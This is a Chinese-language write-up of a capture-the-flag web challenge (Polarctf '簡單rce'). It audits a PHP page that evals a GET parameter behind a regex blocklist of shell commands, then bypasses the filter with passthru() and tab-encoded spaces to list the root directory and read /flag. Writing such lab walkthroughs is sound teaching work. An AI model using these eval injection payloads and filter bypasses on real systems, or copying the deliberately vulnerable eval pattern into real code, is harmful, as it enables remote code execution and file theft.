考點:
(1)RCE(eval函數)
(2)執行函數(passthru函數)
(3)/
頂級(根)目錄查看
(4)sort排序查看函數
題目來源:Polarctf-web-[簡單rce]
解題:
代碼審計
<?php/*?PolarD&N CTF?*/highlight_file(__FILE__);function no($txt){ # WAF:檢測$txt是否匹配這些命令,如果不匹配則返回$txt(即執行)if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{die("what's up");}}$yyds=($_POST['yyds']);if(isset($_GET['sys'])&&$yyds=='666'){ # 要求get傳參sys,post傳參yyds=666,滿足則執行no($_GET['sys']eval(no($_GET['sys']));}else{echo "nonono";}?> nonono
分析結果:post傳參yyds=666
,get傳參sys,如果傳遞的sys繞過了WAF
,則執行sys命令,可利用sys傳參實現任意代碼執行
由于未過濾執行函數passthru()
,故可以利用該函數實現任意代碼執行
(1)sys=passthru('ls');
查看當前路徑下有什么文件,僅有一個index.php文件
(2)sys=passthru('sort%09index.php');
-
sort
:Linux 系統命令,用于對文件內容排序并輸出內容。 -
%09
:URL 編碼的 水平制表符(\t
),在 Shell 中相當于空格。
查看index.php文件,該文件即為初始顯示的前端頁面,無利用點
(3)sys=passthru('ls%09/');
查看頂級目錄(根目錄)下有什么文件
看到存在可疑文件flag
(4)sys=passthru('sort%09/flag');
排序并輸出flag文件
(5)也可以使用sys=passthru('vi%09/flag');